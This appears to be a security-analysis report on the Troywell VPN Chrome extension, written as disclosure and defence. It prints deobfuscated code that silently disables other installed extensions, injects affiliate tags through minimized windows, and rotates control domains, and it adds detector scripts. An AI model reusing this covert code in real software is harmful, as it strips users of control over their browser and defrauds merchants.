Is Free VPN for Chrome - Troywell VPN safe?

High risk

Troywell VPN is high risk. Troywell VPN downloads a server-controlled extension-ID list every startup, then can disable any of those extensions, ad blockers included, with no prompt. A second config ("terminator") downloads ad rules bypassing the VPN's own filters.…

Strong link to a flagged operator: 1 of the 1 other listing from the same operator is rated high or critical for malicious behavior. Flagged: Troywell Cashback (high).

v5.0.3Extension ID adlpodnneegcnbophopdmhedicjbcgcoChrome Web Store
80Risk
Who publishes it

1 other listing from the same operator, 1 of them carrying a finding

Same store account

1 other listing published from this account, 50k+ users between them. 1 of them carries a finding.

Shared hosts - 5 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

auth.http
Also called by 1 other listing: Troywell VPN Lite - unlimited VPN proxy
cdn.translations
Also called by 1 other listing: Troywell VPN Lite - unlimited VPN proxy
troywell.org
Also called by 1 other listing: Troywell VPN Pro
ext.troywell.org
Also called by 2 other listings: Troywell VPN Pro, Ускорить Ютуб | Обойти замедление
speedtest.mosline.ru
Also called by 3 other listings: Troywell VPN Lite - unlimited VPN proxy, Troywell VPN Pro, Cloud VPN
AI-assisted analysis.

Troywell VPN findings

Remote Kill-Switch Can Disable Your Other Extensions

HighunwantedCWE-829Dynamic sandbox

Troywell VPN downloads a server-controlled extension-ID list every startup, then can disable any of those extensions, ad blockers included, with no prompt.

What actually happens

You did this

You install Free VPN for Chrome and grant it the management permission.

The extension did this

Every startup, the extension downloads an extension-ID list from troywell.org with no prompt, and disables every extension on it via a privileged API.

You are never notified. No UI is shown. The extension IDs to disable are chosen entirely by the server.

What the Thanos kill-switch config controls

  • Extensions to disable
    cfhdojbkjhnklbpkdaibdccddilifddb

    Other installed extension IDs the server wants disabled. Could include ad blockers, privacy tools, or rival VPNs.

  • Activation timing
    activationTime

    Whether extensions are disabled immediately on install or at some later time chosen by the server.

  • Stored target list
    thanosExtStorage key in chrome.storage.local

    The list of extension IDs to disable is saved to your browser so it persists across sessions.

What's stored on your device

The kill-switch list observed during analysis; these IDs are popular ad blockers and privacy tools. The server can update it any time.

Location
chrome.storage.local key 'thanosConfigs'
Contents
{  "data": [    {      "activationTime": [        "cfhdojbkjhnklbpkdaibdccddilifddb",        "gighmmpiobklfepjocnamgkkbiglidom",        "gomekmidlodglbbmalcneegieacbdmki",        "cjpalhdlnbpafiamejdnhcphjbkeiagm"      ]    }  ]}

The code that does this

The kill-switch: shipped minified code vs what it actually does.

Readable version

Init function — what runs on every extension startup

async function init() {  await initSettings();      // load persisted settings  await initStorage();       // initialize local storage  setupAlarms();             // periodic refresh alarms  await loadConfig();        // load extension config  // Fetch all remote kill-switch configs in parallel:  await Promise.all([    fetchBlockingDomains(),   // ad-block rules    fetchAdConfigs(),    fetchTerminatorConfigs(), // Br() -- second kill-switch    fetchTranslations(),    fetchMerchants(),  ]);  fetchBlockingDomainRules();  // apply DNR rules  await applyDeclarativeNetRequestRedirects();  await fetchThanosConfigs();  // aa() -- primary kill-switch: GET troywell.org/api/configs/thanos  applyThanosKillSwitch(false, 'anyTime');  // disable targeted extensions now  killCompetingProxyExtensions();  // ia() -- disable all other extensions with proxy permission}

Kill-switch executor — reads server list, calls chrome.management.setEnabled(id, false)

async function applyThanosKillSwitch(enable = false, field = 'activationTime') {  const browser = await getBrowserInfo();  // Kill-switch only runs on Chrome (not Yandex Browser or Firefox)  if (browser.browser === 'yabrowser' || browser.browser === 'firefox') return;  if (!chrome.management) return;  const thanosData = await readThanosConfigs();  // from chrome.storage.local 'thanosConfigs'  if (!thanosData || thanosData.length === 0) return;  // Get IDs of all currently enabled extensions  const enabledIds = await new Promise(resolve =>    chrome.management.getAll(exts =>      resolve(exts.filter(e => e.enabled).map(e => e.id))    )  );  const selfId = await new Promise(resolve => chrome.management.getSelf(resolve)).id;  // Compute intersection: enabled extensions that appear in the server's target list  let targets = intersect(thanosData[0][field] || [], enabledIds);  if (field === 'activationTime') {    if (!enable) {      await writeThanosExtStorage(targets);  // save targets to thanosExtStorage    } else {      targets = await readThanosExtStorage();  // restore previously saved list      await writeThanosExtStorage([]);    }  }  for (const extId of targets) {    if (extId === selfId) continue;  // never disable itself    chrome.management.setEnabled(extId, enable);  // DISABLE the target extension  }}

Competing proxy killer — disables ALL other extensions that have the proxy permission

async function killCompetingProxyExtensions() {  const browser = await getBrowserInfo();  if (browser.browser === 'yabrowser' || browser.browser === 'firefox') return;  if (!chrome.management) return;  // Find every enabled extension that has the proxy permission AND is not Troywell  const competitorIds = await new Promise(resolve =>    chrome.management.getAll(exts => {      const competitors = exts.filter(ext =>        ext.enabled &&        ext.permissions.includes('proxy') &&        !ext.name.toLowerCase().includes('troywell')      );      resolve(competitors.map(e => e.id));    })  );  // Disable all of them silently -- no UI, no permission prompt  competitorIds.forEach(id => {    if (id !== chrome.runtime.id) {      chrome.management.setEnabled(id, false);    }  });}

Servers that control which extensions you are allowed to use

    • troywell.org

    Primary server. Hosts the Thanos kill-switch config (/api/configs/thanos) and Terminator ad-rule config. Run by Troywell Ltd, this extension's publisher.

    • analytics.troywell.org

    Analytics endpoint. Receives extension ping data (/api/extension/ping), URL visit data (/api/extension/urls), and Google Analytics relay (/api/extension/ga).

Check if you're affected

Run this in Chrome DevTools (inside the extension's service worker context) to see whether the Thanos kill-switch config has been downloaded and which extension IDs it is targeting. Works without network access, reads the already-cached config from local storage.

Requires
  • Chrome with Developer mode enabled
  • Free VPN for Chrome (Troywell) installed and started at least once
troywell-killswitch-detector.js · js
// troywell-killswitch-detector.js// Reads the Troywell Thanos kill-switch config from chrome.storage.local// and lists which extension IDs are targeted for remote disabling.//// HOW TO RUN: see usage instructions below.(async function() {  const result = await new Promise(resolve =>    chrome.storage.local.get(['thanosConfigs', 'thanosExtStorage', 'terminatorConfigs'], resolve)  );  console.log('=== Troywell Kill-Switch Detector ===\n');  // --- Thanos: server-dictated extension disable list ---  const thanos = result.thanosConfigs;  if (!thanos || !thanos.data) {    console.log('[THANOS] Not yet fetched from server (try restarting the browser).');  } else {    console.log('[THANOS] Kill-switch config received from troywell.org/api/configs/thanos');    const entries = thanos.data;    entries.forEach((entry, i) => {      const keys = Object.keys(entry);      keys.forEach(field => {        const ids = entry[field];        if (Array.isArray(ids) && ids.length > 0) {          console.log(`  Field "${field}" -- ${ids.length} extension(s) targeted:`);          ids.forEach(id => console.log(`    - ${id}`));        }      });    });  }  // --- thanosExtStorage: which extensions were actually disabled this session ---  const extStorage = result.thanosExtStorage;  if (extStorage && extStorage.length > 0) {    console.log('\n[THANOS ACTIVE] These extensions were disabled this session:');    extStorage.forEach(id => console.log('  -', id));  } else {    console.log('\n[THANOS ACTIVE] No extensions disabled yet this session (or list was cleared).');  }  // --- Terminator: ad-rule override config ---  const terminator = result.terminatorConfigs;  if (!terminator || !terminator.data) {    console.log('\n[TERMINATOR] Not yet fetched from server.');  } else {    console.log('\n[TERMINATOR] Ad-rule config received from troywell.org/api/configs/terminator');    const data = terminator.data;    if (Array.isArray(data)) {      console.log(`  ${data.length} rule entries present. Sample:`);      data.slice(0, 5).forEach((rule, i) => console.log(`  [${i}]`, JSON.stringify(rule)));      if (data.length > 5) console.log(`  ... and ${data.length - 5} more.`);    } else {      console.log('  Raw data:', JSON.stringify(data).substring(0, 500));    }  }  console.log('\n=== End of report ===');})();
How to run it
  1. 1Install, open Chrome.
  2. 2chrome://extensions, enable Developer mode.
  3. 3Click the extension's "service worker" link for DevTools.
  4. 4Paste the script, Enter.
  5. 5Any IDs under THANOS are controlled by troywell.org.

Browsing a listed retailer triggers a background affiliate tag

HighunwantedCWE-200Dynamic sandbox

Troywell VPN matches sites you visit against retailer domains from cdn.troywell.org.

What actually happens

You did this

You open a shopping site that appears on the extension's downloaded retailer list.

No click, no coupon prompt and no interaction with the extension is required, opening the page is enough.

The extension did this

The background code sends an activation record for that retailer to troywell.org and opens a minimized window re-entering the retailer via an affiliate link.

The record is marked activationType "no-cashback", so no cashback is credited to you, and clickSource "ac", the extension's own label for automatic activation.

Captured request

POSThttps://troywell.org/api/transaction/create

Three such requests were captured from the background service worker while browsing retailers from the extension's own list, with no user interaction. On the run whose install age had been advanced past the 48-hour condition, the server returned a deepLink, which the extension then opened in a minimized window; on a run with an unregistered install identifier the server returned {"message":"master offer not found","status":false} and no deepLink was issued.

Headers
Content-Type
application/json
Body
{  "network": "",  "offer_id": "68834c549f8f312c48879524",  "extension_id": "<redacted>",  "activationType": "no-cashback",  "app": "vpn",  "clickSource": "ac",  "extVersion": "5.0.5",  "vProtect": "2"}

What the activation record contains

  • The retailer you just opened
    68834c549f8f312c48879524

    The extension's own ID for the shopping site you are on, which tells the server which retailer you are browsing right now.

  • Your extension install ID
    bb5b97f9-3c41-4e0a-9d18-2f6ca07be5d1 (illustrative)

    A per-install identifier that stays the same across sessions, so every activation record can be tied back to the same copy of the extension.

  • What you get back
    no-cashback

    Set to "no-cashback", the extension's own label for an activation that credits nothing to you.

  • How the activation started
    ac

    Set to "ac" for automatic activation, meaning the record was sent from page navigation rather than from you clicking anything.

  • Which product sent it
    app=vpn, extVersion=5.0.5

    Identifies the sender as the VPN product, and gives the exact extension version you are running.

  • Affiliate network slot
    ""

    Names the affiliate network the activation belongs to; it arrives empty and the server picks the network when it issues the deep link.

The code that does this

The conditions that release the activation, and the record that gets sent

Readable version

Activation conditions, readable

bg/bundle.js
// ma({url, tabId}) — runs on navigationconst { domainChanges } = await chrome.storage.local.get("domainChanges");if (!domainChanges) return false;                    // server-set flagconst { merchant, state } = await lookupMerchant({ url });if (!merchant) return false;                         // url not on the downloaded retailer listif (!merchant.isACBAvailable) return false;          // retailer not enabled for auto-activationconst cookies = await getCookies({ url: "https://troywell.org" });if (cookies.find(c => c.name === "hasExt")) return false;const settings = await getCaaSettings();if (Date.now() < settings.installTime + 172800000) return false;   // 48 hours since installif (!settings.activations.applyProgram) return false;             // flag set by a scheduled alarmif (!state.activated && merchant.fastWorking) {  sendActivation({ data: { merchantId: merchant.id, activationType: "no-cashback", clickSource: "ac" } });  return false;}

The record that is POSTed, readable

bg/bundle.js
// va({ merchantId, network, activationType, clickSource })const { caaSettings } = await chrome.storage.local.get("caaSettings");const body = {  network,  offer_id: merchantId,  extension_id: caaSettings.extId,  activationType,                 // "no-cashback"  app: "vpn",  clickSource,                    // "ac" = automatic  extVersion: chrome.runtime.getManifest().version,  vProtect: "2"};const res = await request(TRANSACTION_CREATE_URL, {   // https://troywell.org/api/transaction/create  headers, method: "POST", body: JSON.stringify(body)});if (!res.ok) return { deepLink: null };const json = await res.json();return { deepLink: json.deepLink };// caller: opens the returned deepLink out of viewchrome.windows.create({ url: redirectPrefix + encodeURIComponent(deepLink), state: "minimized", type: "normal" },  w => trackActivation({ tabId: w.tabs[0].id, deepLink, isBackgroundTab: true, merchantId }));

A test run's URL carried a rival tag; the extension re-entered minutes later with its own ID

  1. +2 min 47 s

    You did

    You open aliexpress.ru with another party's affiliate tag already on the URL.

    A marker value was planted in the affiliate parameter before the visit so the two tags could be told apart.

    The extension did

    A minimized window loads an aliexpress.ru affiliate redirect carrying the extension's transaction ID as the sub-ID, referred from troywell.org.

    Landing URL: aliexpress.ru/aff/redirect/uzk4e1c?subid=6a82838fd373352689dac4be&utm_referrer=https%3A%2F%2Ftroywell.org%2F

  2. +3 min 10 s

    You did

    You open citilink.ru with another party's affiliate tag already on the URL.

    The extension did

    A minimized window follows an AdvCake redirect at go.avck.ws carrying the extension's transaction ID, landing back on citilink.ru tagged to that campaign.

    Landing URL: citilink.ru/?utm_source=advcake&utm_medium=cpa&utm_campaign=32937b79

  3. +3 min 26 s

    You did

    You open litres.ru with another party's affiliate tag already on the URL.

    The extension did

    A minimized window follows a sovtrk.com redirect carrying the extension's transaction ID, landing back on litres.ru tagged to that campaign.

    Landing URL: litres.ru/?utm_source=advcake&utm_campaign=sovaunion

  4. +3 min 46 s

    You did

    You open shop.mts.ru with another party's affiliate tag already on the URL.

    The extension did

    A minimized window follows a Gdeslon redirect at sf.gdeslon.ru carrying the extension's transaction ID, landing back on shop.mts.ru tagged to that campaign.

    Landing URL: shop.mts.ru/?utm_medium=cpa&utm_campaign=Gdeslon_

Hosts involved in one activation

    • troywell.org

    Vendor backend. Receives the activation record (offer ID, extension ID, activation type, click source, version) and returns the affiliate deep link.

    • cdn.troywell.org

    Vendor CDN. Serves the retailer domain list, containing 680 entries and 886 matchable hostnames, that your browsing is matched against locally.

    • ad.admitad.com

    Admitad affiliate network. Sets a UID cookie on .ad.admitad.com when the deep link is followed; reached via the shortener heqgr.com.

    • go.avck.ws

    AdvCake affiliate network redirect. Carries the extension's transaction ID as sub1 and lands the retailer with utm_source=advcake.

    • sf.gdeslon.ru

    Gdeslon affiliate network redirect. Carries the extension's transaction ID as sub_id before landing the retailer.

    • sovtrk.com

    Affiliate tracking redirect. Carries the extension's transaction ID as xid before landing the retailer.

What we observed, and what we did not

The POST to troywell.org/api/transaction/create was captured directly during dynamic analysis, sent from the background service worker while browsing retailers taken from the extension's own list, with no user interaction. The onward deep-link chain in the table above was observed in a run where the stored install timestamp had been moved back past the extension's own 48-hour condition. None of the three conditions is a user choice: one is a flag the vendor's server sets, one is elapsed time since install, and one is set by a scheduled alarm 48 hours after install, so all three resolve without any user step within two days of installing. A short capture on a fresh install therefore does not reach this path, and one did not: on a fresh-install run, visiting a listed retailer produced zero requests to that endpoint.

Server-Controlled Domain Rotation: Operator Can Move C2 Without an Update

HighunwantedCWE-829Dynamic sandbox

The extension ships a domain-rotation loop letting a developer move telemetry, config, kill-switch calls to any host at runtime.

What actually happens

You did this

The extension's background service worker boots (every browser startup, every wake from idle, after every Chrome update).

On startup, dt() reads activeDomain + domainList from chrome.storage.local, then calls lt() to fetch a fresh rotation list from the server.

The extension did this

The Troywell server responds with a list of domains the extension should use for all subsequent traffic.

Any new domain in the response is merged into the active rotation list and persisted to chrome.storage.local, so the rotation survives browser restarts even without a follow-up server call.

Captured request

GEThttps://ext.troywell.org/api/vpn/hasupdateddomain/test

200 OK; JSON body of shape {"domains":["troywell.io","llewyort.org",...],"changes":boolean}. The captured response in our 2026-04-28 run added llewyort.org to the rotation list (the literal source ships only with ["troywell.org","troywell.io"]). Captured request id 3084430.2 / swf-evt_78, T+0.5s after install, phase ext-interact.

Headers
Referer
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36

What's stored on your device

Stores 3 domains; source has only 2 (troywell.org, troywell.io). llewyort.org was added by the server and persists across restarts.

Location
chrome.storage.local key 'domainList' + 'activeDomain' + 'domainChanges'
Contents
{  "domainList": [    "troywell.org",    "troywell.io",    "llewyort.org"  ],  "activeDomain": "troywell.org",  "domainChanges": false}

The code that does this

The rotation primitives, deobfuscated from the shipping v5.0.5 background bundle.

Readable version

Domain pool + active-domain getter

// Domain pool: starts as the two literals shipped in the extension.// 'ut' is the active domain. The server can append more via lt().const BASE_DOMAINS = ['troywell.org', 'troywell.io'];let activeList   = [...BASE_DOMAINS];let activeDomain = BASE_DOMAINS[0];const getActiveDomain = () => activeDomain;const getActiveOrigin = () => `https://${activeDomain}`;

fetch wrapper vt() — rewrites every URL on the way out

// Wrapper around fetch(). EVERY outbound call from the background// script that includes the literal 'troywell.org' in its URL goes// through this — and gets the domain rewritten to whatever the// server-controlled rotation has selected.function fetchWithRotation(url, ...rest) {  const rewritten = (typeof url === 'string')    ? url.replace('troywell.org', activeDomain)    : url;  return fetch(rewritten, ...rest);}

lt() — fetch rotation, merge into active list, schedule next check

// Runs on SW startup (via dt()) and every 15 minutes via chrome.alarms.// On any non-OK response the caller's pt() advances activeDomain to the// next entry and tries again.async function fetchRotationList() {  const { caaSettings }   = await chrome.storage.local.get('caaSettings');  const extId             = caaSettings?.extId ?? 'test';  // If we're already off the canonical domain, attempt to come back to it first.  if (activeDomain !== BASE_DOMAINS[0]) {    try {      const r = await fetch(        `https://ext.${BASE_DOMAINS[0]}/api/vpn/hasupdateddomain/${extId}`,        { signal: AbortSignal.timeout(3000), cache: 'no-store' }      );      if (r.ok) {        activeDomain = BASE_DOMAINS[0];        await chrome.storage.local.set({ activeDomain });      }    } catch (_) { /* swallow */ }  }  // Now fetch the rotation list itself.  try {    const resp = await fetch(      `https://ext.${activeDomain}/api/vpn/hasupdateddomain/${extId}`,      { signal: AbortSignal.timeout(3000), cache: 'no-store' }    );    if (!resp.ok) { await rotateToNextDomain(); }    else {      const body = await resp.json();      // Append any server-supplied domains that aren't already in BASE_DOMAINS.      activeList = (Array.isArray(body.domains) && body.domains.length > 0)        ? [...BASE_DOMAINS, ...body.domains.filter(d => !BASE_DOMAINS.includes(d))]        : [...BASE_DOMAINS];      await chrome.storage.local.set({        domainList:    activeList,        domainChanges: body.changes === true      });    }  } catch (_) { await rotateToNextDomain(); }  // Re-check every 15 minutes.  scheduleAlarm({    module:         'domainProvider',    action:         'checkHealth',    delayInMinutes: 15  });}

pt() — failover to the next domain in the rotation list

// Failover. Called from lt() and from any non-OK response inside it.async function rotateToNextDomain() {  const idx     = activeList.indexOf(activeDomain);  activeDomain  = activeList[(idx + 1) % activeList.length];  await chrome.storage.local.set({ activeDomain });  // Keep the uninstall URL aligned with the active domain too — so if the  // user uninstalls from chrome://extensions we still hit the rotated host.  const { caaSettings } = await chrome.storage.local.get('caaSettings');  if (caaSettings?.extId) {    chrome.runtime.setUninstallURL(      `https://${activeDomain}/uninstall/vpn?ext_id=${caaSettings.extId}`    );  }}

What the rotation maintains in chrome.storage.local on every install.

  • Active domain
    troywell.org

    The host currently used for all troywell.org-suffixed URLs. Updated on every rotation fetch, success or failure.

  • Domain list
    ["troywell.org","troywell.io","llewyort.org"]

    The full rotation pool. Starts with two hardcoded domains; any server-returned host is appended and stays in use if the server goes dark.

  • Domain-changes flag
    false

    Set true when the server signals a rotation in progress. Used internally as a hint to align uninstall URLs and other side channels.

  • Per-install extension UUID
    afb87e95-ba49-4c45-8a70-85a6ae9761bf

    Identifies your specific install to the rotation server, letting the operator target individual installs with a per-user rotation list.

Hosts contacted during the 232-second v5.0.5 dynamic-analysis run, with rotation domain ratios.

    • troywell.org

    Operator-controlled primary host. Carries /api/configs/{thanos,terminator,domains,...} and /api/extension/{create} traffic; 145 requests captured.

    • troywell.io

    Operator-controlled rotation host (alias of troywell.org for the same endpoints, reachable via the vt() rewrite). 144 captured requests.

    • ext.troywell.org

    Hosts /api/vpn/hasupdateddomain/<extId>, the rotation-list endpoint itself. Also serves /api/vpn/disconnect. 46 captured requests.

    • cdn.troywell.org

    301/308 redirect target for /api/configs/<name>; serves the actual kill-list JSON. 49 requests captured. Not in source; reached only via redirect from troywell.org-prefixed URLs.

    • cdn.troywell.io

    Rotation-host equivalent of cdn.troywell.org. 4 captured requests.

    • cdn.translations.troywell.org

    Localization bundle CDN. 85 captured requests.

    • cdn.translations.troywell.io

    Localization bundle CDN, rotation alias. 110 captured requests.

    • analytics.troywell.org

    Receives /api/extension/ping and /api/extension/rp telemetry POSTs containing extension UUID, version, OS, browser, language. 6 captured requests.

When this fires

Every 15 minutes

After the initial fetch on service-worker startup (via dt()), the rotation-list refresh is rescheduled every 15 minutes by chrome.alarms (the J({module:'domainProvider', action:'checkHealth', delayInMinutes:15}) call at the end of lt()). On any failed fetch the failover path pt() advances activeDomain immediately, independent of the 15-minute cadence.

Check if you're affected

Network-side detection script. Inspects an HTTP(S) capture (e.g. mitmproxy log, browser HAR, or PCAP-derived URL list) for hits on the rotation endpoint, prints the per-install extension UUID it observes, and warns when traffic is flowing to a non-canonical rotation domain. Useful for confirming the rotation behavior in your own browser without re-running dynamic analysis.

Requires
  • bash
  • grep, sed, sort (POSIX)
detect-troywell-rotation.sh · sh
#!/usr/bin/env bash# Usage:#   ./detect-troywell-rotation.sh urls.txt## urls.txt should contain one URL per line — e.g. the output of mitmdump's# `mitmdump -nr session.flow -s url-only.py`, a HAR's request URLs, or# `tshark -r capture.pcapng -Y http -T fields -e http.host -e http.request.uri`.set -euo pipefailurls_file="${1:-/dev/stdin}"rotation_endpoint='ext\.troywell\.(org|io)/api/vpn/hasupdateddomain/'canonical='troywell\.org$'rotation_alts='troywell\.io|llewyort\.org'echo '=== Rotation endpoint hits ==='grep -E "$rotation_endpoint" "$urls_file" | sed -E "s|.*hasupdateddomain/([A-Za-z0-9-]+).*|extId=\1|" | sort -u || trueechoecho '=== Hosts observed in capture ==='grep -oE 'https?://[^/]+' "$urls_file" | sort -uechoecho '=== Non-canonical rotation traffic (review these) ==='grep -oE 'https?://[^/]+' "$urls_file" | sort -u | grep -E "$rotation_alts" || echo '(none)'echoecho '=== Reading domainList in your browser ==='echo 'Open chrome://extensions, enable Developer mode, click the Troywell service worker'echo 'inspect link, paste:'echo '  chrome.storage.local.get(["activeDomain","domainList","domainChanges"], console.log);'echo 'A list with more than two entries (more than just troywell.org + troywell.io) confirms'echo 'the rotation has been extended by the server on this install.'
How to run it
  1. 1Save capture URLs into urls.txt (one per line).
  2. 2Run: chmod +x detect-troywell-rotation.sh && ./detect-troywell-rotation.sh urls.txt.
  3. 3extId is your install's UUID; hosts under 'Non-canonical rotation traffic' were server-appended.

+4 more findings not shown

If you have Troywell VPN installed

  1. Open chrome://extensions and turn on Developer mode to show IDs. Find the one with ID adlpodnneegcnbophopdmhedicjbcgco and choose Remove.
  2. Block the servers only it was seen contacting: troywell.io, cdn.translations.troywell.io, static.troywell.org, cdn.troywell.io.
  3. Scan your browser to check the rest of your extensions.

What Troywell VPN can do

Permissions this extension asks for, as declared in version 5.0.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 5.0.3, which we have not unpacked yet.

  • Read and change your data on every site you visit

    <all_urls>

  • See the address and title of every tab you have open

    tabs

  • Watch every request your browser makes

    webRequest

  • See, disable and uninstall your other extensions, including your security ones

    management

  • See every page you navigate to, as you navigate to it

    webNavigation

  • Store data in your browser

    storage

  • Schedule its own background tasks

    alarms

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Route all of your browsing through a server of its choosing

    proxy

  • Show you desktop notifications

    notifications

  • Change your browser's privacy and security settings

    privacy

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • Run its own code inside the pages you visit

    scripting

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • See which of your requests its blocking rules matched

    declarativeNetRequestFeedback

webRequestAuthProviderdeclarativeNetRequestWithHostAccess

Troywell VPN version history

  1. 5.0.3

    Mar 4, 2026

  2. 5.0.5

    Apr 11, 2026

Where Troywell VPN sends data

  • troywell.org/api/configs/…63 calls

    From its background script · 2 other extensions

  • ext.troywell.org/api/vpn/…48 calls

    From its background script · 2 other extensions

  • troywell.io/api/configs/…28 calls

    From its background script · only this extension

  • cdn.troywell.org/extension/configs/…24 calls

    From its background script · 1 other extension

  • troywell.org/api/offers18 calls

    From its background script · 2 other extensions

  • troywell.org/api/user/…13 calls

    From its background script · 2 other extensions

  • analytics.troywell.org/api/extension/…12 calls

    From its background script · 2 other extensions

  • cdn.translations.troywell.org/translations/adblock/…9 calls

    From its background script · 2 other extensions

  • cdn.translations.troywell.org/translations/troywell.org-caa/…9 calls

    From its background script · 2 other extensions

  • troywell.org/api/coupons8 calls

    From its background script · 2 other extensions

  • troywell.io/api/offers6 calls

    From its background script · only this extension

  • troywell.org/api/v2/…6 calls

    From its own pages · 2 other extensions

  • troywell.org/api/extension/…5 calls

    From its background script · 2 other extensions

  • cdn.translations.troywell.io/translations/adblock/…4 calls

    From its background script · only this extension

  • cdn.translations.troywell.io/translations/troywell.org-caa/…4 calls

    From its background script · only this extension

  • cdn.troywell.org/extension/offers/…4 calls

    From its background script · 1 other extension

  • troywell.io/api/user/…4 calls

    From its background script · only this extension

  • troywell.org/_nuxt/img/…4 calls

    From its own pages · 2 other extensions

  • troywell.org/api/transaction/…4 calls

    From its background script · 2 other extensions

  • static.troywell.org/uploads/…3 calls

    From its own pages · only this extension

  • troywell.org/_nuxt/fonts/…3 calls

    From its own pages · 2 other extensions

  • cdn.troywell.io/extension/offers/…2 calls

    From its background script · only this extension

  • static.troywell.org/images/bd/…1 call

    From its own pages · only this extension

  • troywell.org1 call

    From its own pages · 2 other extensions

  • troywell.org/_nuxt/27aaf3b.js1 call

    From its own pages · 2 other extensions

Chrome Web Store listing

Versions
5.0.5 latest of 2 seen since March 4, 2026
Store rating
2.7 from 2,011 ratings
Last updated
April 8, 2026
Size
3.44 MiB
Privacy policy
troywell.org
Updated November 20, 2026